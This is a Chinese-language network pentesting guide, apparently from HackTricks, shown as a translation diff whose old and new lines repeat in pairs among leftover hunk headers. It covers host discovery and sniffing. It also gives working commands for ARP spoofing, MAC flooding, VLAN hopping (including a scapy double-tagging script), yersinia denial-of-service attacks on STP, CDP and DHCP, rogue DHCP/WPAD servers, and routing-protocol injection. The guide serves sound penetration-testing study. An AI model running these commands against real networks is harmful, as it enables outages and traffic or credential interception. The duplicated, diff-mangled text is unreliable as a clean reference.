提议的 nmap 命令将测试每个 **/24** 范围内的 **前 1000 个 UDP 端口**,但仅此操作将需要 **>20分钟**。如果需要 **最快的结果**,可以使用 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) `./udp-proto-scanner.pl 199.66.11.53/24` 这将向其 **预期端口** 发送这些 **UDP 探测**(对于 /24 范围,这只需 1 分钟_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
提议的 nmap 命令将测试每个 **/24** 范围内的 **前 1000 个 UDP 端口**,但即使仅此也需要 **>20分钟**。如果需要 **最快的结果**,可以使用 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) `./udp-proto-scanner.pl 199.66.11.53/24` 这将向其 **预期端口** 发送这些 **UDP 探测**(对于 /24 范围,这只需 1 分钟_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP 端口发现
```bash
@ -52,19 +52,19 @@ nmap -T4 -sY -n --open -Pn <IP/range>
```
## Pentesting Wifi
在这里您可以找到一份关于撰写时所有知名Wifi攻击的优秀指南:
在这里您可以找到一份关于撰写时所有知名Wifi攻击的良好指南:
{{#ref}}
../pentesting-wifi/
{{#endref}}
## 从内部发现主机
## Discovering hosts from the inside
如果您在网络内部,您首先想要做的事情之一是**发现其他主机**。根据您可以/想要制造的**噪音**,可以执行不同的操作:
如果您在网络内部,您首先想要做的事情之一是**发现其他主机**。根据您可以/想要制造的**噪音**,可以执行不同的操作:
### Passive
您可以使用这些工具在连接的网络被动发现主机:
您可以使用这些工具在连接的网络内部被动发现主机:
```bash
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
@ -73,10 +73,10 @@ net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
```
### 活动
### Active
注意,在 [_**从外部发现主机**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP 端口发现_) 中提到的技术也可以在这里 **应用**。\
但是,由于您与其他主机在 **同一网络** 中,您可以做 **更多事情**
注意,在 [_**从外部发现主机**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP 端口发现_) 中提到的技术也可以在这里**应用**。\
但是,由于您与其他主机在**同一网络**中,您可以做**更多事情**
```bash
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
@ -98,17 +98,17 @@ alive6 <IFACE> # Send a pingv6 to multicast.
```
### Active ICMP
注意,在 _从外部发现主机_评论的技术 ([_**ICMP**_](./#icmp)) 也可以 **在这里应用**。\
注意,在 _从外部发现主机_提到的技术 ([_**ICMP**_](#icmp)) 也可以 **在这里应用**。\
但是,由于您与其他主机在 **同一网络** 中,您可以做 **更多事情**
- 如果您 **ping** 一个 **子网广播地址**ping 应该到达 **每个主机**,它们可能会 **响应** **您** `ping -b 10.10.5.255`
- ping **网络广播地址**,您甚至可以找到 **其他子网** 内的主机: `ping -b 255.255.255.255`
- 使用 `nmap``-PE``-PP``-PM` 标志进行主机发现,分别发送 **ICMPv4 回显**、**时间戳**和 **子网掩码请求** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
- 如果您 **ping** 一个 **子网广播地址**ping 应该到达 **每个主机**,它们可能会 **回应** **您**`ping -b 10.10.5.255`
- ping **网络广播地址**,您甚至可以找到 **其他子网** 内的主机:`ping -b 255.255.255.255`
- 使用 `nmap``-PE``-PP``-PM` 标志进行主机发现,分别发送 **ICMPv4 echo**、**时间戳** 和 **子网掩码请求**`nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Wake On Lan**
Wake On Lan 用于通过 **网络消息** **开启** 计算机。用于开启计算机的魔数据包仅仅是一个提供了 **MAC Dst** 的数据包,然后在同一个数据包中 **重复 16 次**。\
然后,这种类型的数据包通常以 **以太网 0x0842****UDP 数据包发送到端口 9**。\
Wake On Lan 用于通过 **网络消息** **开启** 计算机。用于开启计算机的魔数据包仅仅是一个提供了 **MAC Dst** 的数据包,然后在同一个数据包中 **重复 16 次**。\
这种类型的数据包通常通过 **以太网 0x0842****UDP 数据包发送到 9 端口**。\
如果 **未提供 \[MAC]**,数据包将发送到 **广播以太网**(广播 MAC 将是被重复的那个)。
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
@ -121,10 +121,10 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
### TCP
- **开放**端口_SYN --> SYN/ACK --> RST_
- **关闭**端口_SYN --> RST/ACK_
- **过滤**端口_SYN --> \[无响应]_
- **过滤**端口_SYN --> ICMP 消息_
- **开放**端口: _SYN --> SYN/ACK --> RST_
- **关闭**端口: _SYN --> RST/ACK_
- **过滤**端口: _SYN --> \[无响应]_
- **过滤**端口: _SYN --> ICMP 消息_
```bash
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
@ -140,7 +140,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
有两种选项可以扫描UDP端口
- 发送一个**UDP数据包**并检查响应_**ICMP不可达**_如果端口是**关闭**的(在多情况下ICMP会被**过滤**,因此您将无法收到端口是关闭还是打开的任何信息)。
- 发送一个**UDP数据包**并检查响应_**ICMP不可达**_如果端口是**关闭**的(在多情况下ICMP会被**过滤**,因此您将无法收到端口是关闭还是打开的任何信息)。
- 发送**格式化的数据报**以引发**服务**的响应例如DNS、DHCP、TFTP等如_nmap-payloads_中列出。如果您收到**响应**,那么端口是**打开**的。
**Nmap**将使用“-sV”**混合这两种**选项UDP扫描非常慢但请注意UDP扫描比TCP扫描慢
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
```
### SCTP 扫描
**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)****UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多 **信令系统 7 (SS7)** 中的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组成部分,旨在通过 IP 网络传输 SS7 信号。
**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)****UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多 **信令系统 7 (SS7)** 中的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组,旨在通过 IP 网络传输 SS7 信号。
各种操作系统提供对 **SCTP** 的支持,如 **IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS** 和 **VxWorks**,这表明它在电信和网络领域的广泛接受和实用性。
@ -168,21 +168,21 @@ nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```
### IDS IPS 规避
### IDS和IPS规避
{{#ref}}
ids-evasion.md
{{#endref}}
### **更多 nmap 选项**
### **更多nmap选项**
{{#ref}}
nmap-summary-esp.md
{{#endref}}
### 揭示内部 IP 地址
### 揭示内部IP地址
**配置错误的路由器、防火墙和网络设备** 有时会使用 **非公开源地址** 对网络探测做出响应。**tcpdump** 可用于识别在测试期间从私有地址接收的数据包。具体来说,在 Kali Linux 上,可以在 **eth2 接口** 上捕获数据包,该接口可以从公共互联网访问。需要注意的是,如果您的设置位于 NAT 或防火墙后面,这些数据包可能会被过滤掉。
**配置错误的路由器、防火墙和网络设备** 有时会使用 **非公开源地址** 对网络探测做出响应。**tcpdump** 可用于识别在测试期间从私有地址接收的数据包。具体来说在Kali Linux上可以在 **eth2接口** 上捕获数据包该接口可以从公共互联网访问。需要注意的是如果您的设置位于NAT或防火墙后面这些数据包可能会被过滤掉。
```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -190,7 +190,7 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## 嗅探
## Sniffing
通过嗅探,您可以通过查看捕获的帧和数据包来了解 IP 范围、子网大小、MAC 地址和主机名的详细信息。如果网络配置错误或交换 fabric 处于压力下,攻击者可以通过被动网络嗅探捕获敏感材料。
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获远程机器的包。
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获来自远程机器的数据包。
```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -244,9 +244,9 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
```
### MAC Flooding - CAM溢出
### MAC Flooding - CAM overflow
通过发送大量具有不同源MAC地址的数据包来溢出交换机的CAM表。当CAM表满时交换机开始像集线器一样工作广播所有流量
通过发送大量具有不同源 MAC 地址的数据包来溢出交换机的 CAM 表。当 CAM 表满时,交换机开始像集线器一样工作(广播所有流量)。
```bash
macof -i <interface>
```
@ -260,9 +260,9 @@ macof -i <interface>
默认情况下,交换机端口设置为动态自动模式,这意味着它们准备在邻近交换机的提示下启动干道。当渗透测试者或攻击者连接到交换机并发送 DTP Desirable 帧时,会引发安全问题,迫使端口进入干道模式。这一行为使攻击者能够通过 STP 帧分析枚举 VLAN并通过设置虚拟接口来绕过 VLAN 分段。
许多交换机默认存在 DTP敌手可以利用这一点模仿交换机的行为,从而获得对所有 VLAN 流量的访问。脚本 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的脆弱性状态。
许多交换机默认存在 DTP敌手可以利用这一点模仿交换机的行为从而获得对所有 VLAN 流量的访问。脚本 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的漏洞状态。
如果发现网络脆弱性,可以使用 _**Yersinia**_ 工具通过 DTP 协议“启用干道”,以便观察来自所有 VLAN 的数据包。
如果发现网络漏洞,可以使用 _**Yersinia**_ 工具通过 DTP 协议“启用干道”,从而观察所有 VLAN 的数据包。
```bash
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
@ -275,11 +275,11 @@ yersinia -G #For graphic mode
```
![](<../../images/image (269).png>)
要枚举VLAN也可以使用脚本 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。**在交换机上动态创建的干道通道仅持续五分钟。五分钟后,干道将失效。**
要枚举VLAN也可以使用脚本[**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。**在交换机上动态创建的干道通道仅持续五分钟。五分钟后,干道将失效。**
```
sudo python3 DTPHijacking.py --interface eth0
```
我想指出,**Access/Desirable (0x03)** 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。并且 **802.1Q/802.1Q (0xa5)** 表示 **802.1Q** 封装类型。
我想指出,**Access/Desirable (0x03)** 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。**802.1Q/802.1Q (0xa5)** 表示 **802.1Q** 封装类型。
通过分析 STP 帧,**我们了解到 VLAN 30 和 VLAN 60 的存在。**
@ -321,19 +321,19 @@ sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
```
#### 自动VLAN跳跃
#### Automatic VLAN Hopper
讨论的攻击**动态干线和创建虚拟接口以发现其他VLAN中的主机**是由工具**[https://github.com/nccgroup/vlan-hopping---frogger](https://github.com/nccgroup/vlan-hopping---frogger)**自动执行的。
讨论的攻击 **动态干线和创建虚拟接口以发现其他 VLAN 中的主机** 是通过工具 **[https://github.com/nccgroup/vlan-hopping---frogger](https://github.com/nccgroup/vlan-hopping---frogger)** **自动执行** 的。
#### 双重标记
#### Double Tagging
如果攻击者知道**受害主机的MAC、IP和VLAN ID的值**,他可以尝试**用其指定的VLAN和受害者的VLAN双重标记一个帧**并发送一个数据包。由于**受害者无法与攻击者连接**,因此**攻击者的最佳选择是通过UDP与可以执行一些有趣操作的协议进行通信**(如SNMP
如果攻击者知道 **受害主机的 MAC、IP 和 VLAN ID 的值**,他可以尝试 **双重标记一个帧**,使用其指定的 VLAN 和受害者的 VLAN 并发送数据包。由于 **受害者无法与攻击者连接**,因此 **攻击者的最佳选择是通过 UDP 进行通信**,与可以执行一些有趣操作的协议(如 SNMP
攻击者的另一个选择是发起**TCP端口扫描伪装成一个由攻击者控制并且受害者可以访问的IP**(可能通过互联网)。然后,攻击者可以在他拥有的第二个主机上嗅探是否接收到来自受害者的一些数据包。
攻击者的另一个选择是发起 **TCP 端口扫描,伪装成一个由攻击者控制并且受害者可以访问的 IP**(可能通过互联网)。然后,攻击者可以在他拥有的第二个主机上嗅探,如果它接收到来自受害者的一些数据包。
![](<../../images/image (190).png>)
要执行此攻击,可以使用scapy`pip install scapy`
要执行此攻击,您可以使用 scapy: `pip install scapy`
```python
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
@ -350,7 +350,7 @@ lateral-vlan-segmentation-bypass.md
#### Layer 3 Private VLAN Bypass
在某些环境中,例如访客无线网络,实施了**端口隔离(也称为私有 VLAN**设置,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用网络 ACL 的缺失或配置不当,使得 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。
在某些环境中,例如访客无线网络,**端口隔离(也称为私有 VLAN**设置被实施,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用网络 ACL 的缺失或配置不当,使得 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。
攻击是通过创建一个**携带目标客户端 IP 地址但带有路由器 MAC 地址的包**来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。
@ -375,7 +375,7 @@ VTPVLAN Trunking Protocol集中管理 VLAN。它利用修订号来维护 V
- **Subset Advertisement:** 在 VLAN 配置更改后发送。
- **Advertisement Request:** 由 VTP 客户端发出,请求 Summary Advertisement通常是响应检测到更高的配置修订号。
VTP 漏洞仅通过干道端口可被利用,因为 VTP 通告仅通过这些端口传播。DTP 攻击后的场景可能会转向 VTP。像 Yersinia 这样的工具可以促进 VTP 攻击,旨在清除 VLAN 数据库,有效干扰网络。
VTP 漏洞仅通过干道端口可被利用,因为 VTP 通告仅通过这些端口传播。DTP 攻击场景之后,可能会转向 VTP。像 Yersinia 这样的工具可以促进 VTP 攻击,旨在清除 VLAN 数据库,有效干扰网络。
注意:本讨论涉及 VTP 版本 1VTPv1
````bash
@ -385,7 +385,7 @@ VTP 漏洞仅通过干道端口可被利用,因为 VTP 通告仅通过这些
### STP攻击
**如果您无法在接口上捕获BPDU帧那么您在STP攻击中成功的可能性不大。**
**如果您无法在接口上捕获BPDU帧那么您在STP攻击中成功的可能性很小。**
#### **STP BPDU DoS**
@ -397,7 +397,7 @@ yersinia stp -attack 3
```
#### **STP TCP攻击**
当发送TCP时交换机的CAM表将在15秒内被删除。然后如果您持续发送这种数据包CAM表将持续重启或每15秒重启一次当它重启时交换机的行为就像一个集线器。
当发送TCP时交换机的CAM表将在15秒内被删除。然后如果您持续发送这种数据包CAM表将不断重启或每15秒重启一次当它重启时交换机的行为就像一个集线器。
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
@ -417,7 +417,7 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack
```
### CDP 攻击
CISCO Discovery Protocol (CDP) 对于 CISCO 设备之间的通信至关重要,使它们能够 **相互识别并共享配置细节**
CISCO Discovery Protocol (CDP) 对于 CISCO 设备之间的通信至关重要,允许它们 **相互识别并共享配置细节**
#### 被动数据收集 <a href="#id-0e0f" id="id-0e0f"></a>
@ -425,45 +425,45 @@ CDP 被配置为通过所有端口广播信息,这可能导致安全风险。
#### 诱导 CDP 表泛洪 <a href="#id-0d6a" id="id-0d6a"></a>
一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击,从而淹没交换机的内存。以下是使用 Yersinia 这一网络工具发起此类攻击的命令序列:
一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击,淹没交换机的内存。以下是使用 Yersinia 这一网络工具发起此类攻击的命令序列:
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```
在此攻击中交换机的CPU和CDP邻居表负担沉重导致通常所称的**“网络瘫痪”**,这是由于过度的资源消耗。
在此攻击中,交换机的 CPU CDP 邻居表负担沉重,导致通常所称的 **“网络瘫痪”**,这是由于过度的资源消耗。
#### CDP冒充攻击
#### CDP 冒充攻击
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
您还可以使用 [**scapy**](https://github.com/secdev/scapy/)。确保使用 `scapy/contrib` 包进行安装。
### VoIP攻击和VoIP Hopper工具
### VoIP 攻击和 VoIP Hopper 工具
VoIP电话与IoT设备的集成日益增加提供了通过特殊电话号码解锁门或控制恒温器等功能。然而这种集成可能会带来安全风险。
VoIP 电话与 IoT 设备的集成日益增加,提供了通过特殊电话号码解锁门或控制恒温器等功能。然而,这种集成可能会带来安全风险。
工具 [**voiphopper**](http://voiphopper.sourceforge.net) 旨在在各种环境中模拟VoIP电话Cisco、Avaya、Nortel、Alcatel-Lucent。它使用CDP、DHCP、LLDP-MED和802.1Q ARP等协议发现语音网络的VLAN ID。
工具 [**voiphopper**](http://voiphopper.sourceforge.net) 旨在在各种环境中模拟 VoIP 电话Cisco、Avaya、Nortel、Alcatel-Lucent。它使用 CDP、DHCP、LLDP-MED 802.1Q ARP 等协议发现语音网络的 VLAN ID。
**VoIP Hopper** 为Cisco发现协议CDP提供三种模式:
**VoIP Hopper** 为 Cisco 发现协议 (CDP) 提供三种模式:
1. **嗅探模式** (`-c 0`): 分析网络数据包以识别VLAN ID。
2. **欺骗模式** (`-c 1`): 生成自定义数据包模仿实际VoIP设备的数据包。
3. **使用预制数据包的欺骗模式** (`-c 2`): 发送与特定Cisco IP电话型号相同的数据包。
1. **嗅探模式** (`-c 0`): 分析网络数据包以识别 VLAN ID。
2. **欺骗模式** (`-c 1`): 生成自定义数据包,模仿实际 VoIP 设备的数据包。
3. **使用预制数据包的欺骗模式** (`-c 2`): 发送与特定 Cisco IP 电话型号相同的数据包。
速度优先的模式是第三种。它需要指定:
- 攻击者的网络接口`-i` 参数)
- 被模拟的VoIP设备名称`-E` 参数遵循Cisco命名格式例如SEP后跟MAC地址)。
- 攻击者的网络接口 (`-i` 参数)
- 被模拟的 VoIP 设备名称 (`-E` 参数),遵循 Cisco 命名格式例如SEP 后跟 MAC 地址)。
在企业环境中为了模仿现有的VoIP设备可以
在企业环境中,为了模仿现有的 VoIP 设备,可以:
- 检查电话上的MAC标签。
- 检查电话上的 MAC 标签。
- 浏览电话的显示设置以查看型号信息。
- 将VoIP设备连接到笔记本电脑并使用Wireshark观察CDP请求。
- 将 VoIP 设备连接到笔记本电脑,并使用 Wireshark 观察 CDP 请求。
在第三种模式下执行工具的示例命令为:
执行工具的第三种模式的示例命令为:
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
@ -489,21 +489,21 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**
**两种类型的 DoS** 可以针 DHCP 服务器执行。第一种是 **模拟足够多的虚假主机以使用所有可能的 IP 地址**。\
此攻击仅在您能够看到 DHCP 服务器的响应并完成协议时有效 (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例如,这在 **Wifi 网络中是不可行的**
**对DHCP服务器可以执行两种类型的DoS**。第一种是**模拟足够多的虚假主机以使用所有可能的IP地址**。\
此攻击仅在您能够看到DHCP服务器的响应并完成协议时有效**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例如,这在**Wifi网络中是不可行的**
执行 DHCP DoS 的另一种方法是发送 **DHCP-RELEASE 数据包,源代码使用每个可能的 IP**。然后,服务器会认为每个人都已完成使用该 IP
另一种执行DHCP DoS的方法是发送**DHCP-RELEASE数据包源地址为每个可能的IP**。然后服务器会认为每个人都已完成对该IP的使用
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
一种更自动化的方法是使用工具 [DHCPing](https://github.com/kamorin/DHCPig)
您可以使用提到的 DoS 攻击迫使客户端在环境中获取新租约,并耗尽合法服务器,使其变得无响应。因此,当合法客户端尝试重新连接时,**您可以提供下一个攻击中提到的恶意值**。
您可以使用提到的 DoS 攻击强制客户端在环境中获取新租约,并耗尽合法服务器,使其变得无响应。因此,当合法服务器尝试重新连接时,**您可以提供下一个攻击中提到的恶意值**。
#### 设置恶意值
可以使用位于 `/usr/share/responder/DHCP.py` 的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获来自客户端的出站流量,错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。
可以使用位于 `/usr/share/responder/DHCP.py` 的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获来自客户端的出站流量,错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。
以下是配置流氓 DHCP 服务器的命令选项:
@ -515,8 +515,8 @@ yersinia dhcp -attack 3 #More parameters are needed
- **本地网络的子网掩码**:使用 `-n 255.255.255.0` 定义本地网络的子网掩码。
- **DHCP 流量的接口**:使用 `-I eth1` 在特定网络接口上监听 DHCP 流量。
- **WPAD 配置地址**:使用 `-w “http://10.0.0.100/wpad.dat”` 设置 WPAD 配置的地址,以协助网络流量拦截。
- **伪造默认网关 IP**:包括 `-S` 以伪造默认网关 IP 地址。
- **响应所有 DHCP 请求**:包括 `-R` 使服务器响应所有 DHCP 请求,但注意这会产生噪音并可能被检测到。
- **欺骗默认网关 IP**:包括 `-S` 来欺骗默认网关 IP 地址。
- **响应所有 DHCP 请求**:包括 `-R` 使服务器响应所有 DHCP 请求,但注意这会产生噪音并可能被检测到。
通过正确使用这些选项,可以有效地建立一个流氓 DHCP 服务器以拦截网络流量。
```python
@ -533,15 +533,15 @@ yersinia dhcp -attack 3 #More parameters are needed
- 强制EAP-MD5身份验证以绕过TLS证书验证
- 在使用集线器或类似设备进行身份验证时注入恶意网络流量
如果攻击者位于受害者和身份验证服务器之间,他可以尝试将身份验证协议降级(如有必要)为EAP-MD5并捕获身份验证尝试。然后他可以使用以下方法进行暴力破解
如果攻击者位于受害者与身份验证服务器之间,他可以尝试降级(如有必要)身份验证协议至EAP-MD5并捕获身份验证尝试。然后他可以使用以下方法进行暴力破解
```
eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) 攻击 <a href="#id-6196" id="id-6196"></a>
**FHRP**(第一跳冗余协议)是一类旨在**创建热冗余路由系统**的网络协议。通过FHRP物理路由器可以组合成一个单一的逻辑设备从而提高容错能力并帮助分配负载。
**FHRP**(第一跳冗余协议)是一类旨在**创建热冗余路由系统**的网络协议。通过 FHRP物理路由器可以组合成一个单一的逻辑设备从而提高容错能力并帮助分配负载。
**思科系统工程师开发了两种FHRP协议GLBP和HSRP。**
**思科系统工程师开发了两种 FHRP 协议GLBP HSRP。**
{{#ref}}
glbp-and-hsrp-attacks.md
@ -549,34 +549,34 @@ glbp-and-hsrp-attacks.md
### RIP
已知存在三种版本的路由信息协议RIPRIP、RIPv2和RIPng。RIP和RIPv2通过UDP的520端口向对等体发送数据报而RIPng则通过IPv6组播向UDP的521端口广播数据报。RIPv2引入了MD5认证。另一方面RIPng没有内置认证而是依赖于IPv6中的可选IPsec AH和ESP头。
已知存在三种版本的路由信息协议RIPRIP、RIPv2 和 RIPng。RIP 和 RIPv2 通过 UDP 的 520 端口向对等体发送数据报,而 RIPng 则通过 IPv6 多播向 UDP 521 端口广播数据报。RIPv2 引入了对 MD5 身份验证的支持。另一方面RIPng 不包含原生身份验证;相反,它依赖于 IPv6 中可选的 IPsec AH 和 ESP 头。
- **RIP和RIPv2** 通过UDP数据报在520端口进行通信。
- **RIPng** 利用UDP的521端口通过IPv6组播广播数据报。
- **RIP RIPv2** 通过 UDP 数据报在 520 端口进行通信。
- **RIPng** 利用 UDP 521 端口通过 IPv6 多播广播数据报。
请注意RIPv2支持MD5认证而RIPng不包括内置认证依赖于IPv6中的IPsec AH和ESP头。
请注意RIPv2 支持 MD5 身份验证,而 RIPng 不包括原生身份验证,依赖于 IPv6 中的 IPsec AH 和 ESP 头。
### EIGRP 攻击
**EIGRP增强型内部网关路由协议**是一种动态路由协议。**它是一种距离矢量协议。** 如果没有**证**和被动接口的配置,**入侵者**可以干扰EIGRP路由并导致**路由表中毒**。此外EIGRP网络换句话说自治系统**是扁平的,没有划分为任何区域**。如果**攻击者注入一条路由**,这条路由很可能会在自治EIGRP系统中**传播**
**EIGRP增强型内部网关路由协议**是一种动态路由协议。**它是一种距离矢量协议。** 如果没有**身份验证**和被动接口的配置,**入侵者**可以干扰 EIGRP 路由并导致**路由表中毒**。此外EIGRP 网络(换句话说,自治系统)**是扁平的,没有划分为任何区域**。如果**攻击者注入一条路由**,这条路由很可能会**传播**到整个自治 EIGRP 系统
攻击EIGRP系统需要**与合法的EIGRP路由器建立邻居关系**,这打开了许多可能性,从基本侦察到各种注入。
攻击 EIGRP 系统需要**与合法的 EIGRP 路由器建立邻居关系**,这打开了许多可能性,从基本侦察到各种注入。
[**FRRouting**](https://frrouting.org/) 允许您实现**支持BGP、OSPF、EIGRP、RIP和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它,实际上可以假装成为路由域中的合法路由器。
[**FRRouting**](https://frrouting.org/) 允许您实现**支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它,实际上可以假装成为路由域中的合法路由器。
{{#ref}}
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/) 具有拦截EIGRP增强型内部网关路由协议广播的能力。它还允许注入数据包可用于更改路由配置。
[**Coly**](https://code.google.com/p/coly/) 具有拦截 EIGRP增强型内部网关路由协议广播的能力。它还允许注入数据包可用于更改路由配置。
### OSPF
在开放最短路径优先OSPF协议中**通常使用MD5认证以确保路由器之间的安全通信**。然而这一安全措施可能会被像Loki和John the Ripper这样的工具破坏。这些工具能够捕获和破解MD5哈希暴露认证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用_注入_和_连接_选项卡。
在开放最短路径优先OSPF协议中**通常使用 MD5 身份验证来确保路由器之间的安全通信**。然而,这一安全措施可以通过像 Loki 和 John the Ripper 这样的工具被破坏。这些工具能够捕获和破解 MD5 哈希,暴露身份验证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用 _Injection__Connection_ 选项卡。
- **捕获和破解MD5哈希** 使用Loki和John the Ripper等工具。
- **配置路由参数:** 通过_注入_选项卡进行。
- **设置被破坏的密钥:** 密钥在_连接_选项卡下配置。
- **捕获和破解 MD5 哈希:** 使用 Loki John the Ripper 等工具。
- **配置路由参数:** 通过 _Injection_ 选项卡进行。
- **设置被破坏的密钥:** 密钥在 _Connection_ 选项卡下配置。
### 其他通用工具和资源
@ -585,14 +585,14 @@ eigrp-attacks.md
## **欺骗**
攻击者通过发送虚假的DHCP响应来配置网络中新成员的所有网络参数GW、IP、DNS
攻击者通过发送虚假的 DHCP 响应来配置网络中新成员的所有网络参数GW、IP、DNS
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```
### ARP Spoofing
查看[上一节](./#arp-spoofing)。
查看[上一节](#arp-spoofing)。
### ICMPRedirect
@ -615,7 +615,7 @@ dig @localhost domain.example.com # Test the configured DNS
```
### 本地网关
系统和网络通常存在多个路由。在本地网络中建立 MAC 地址列表后,使用 _gateway-finder.py_ 来识别支持 IPv4 转发的主机。
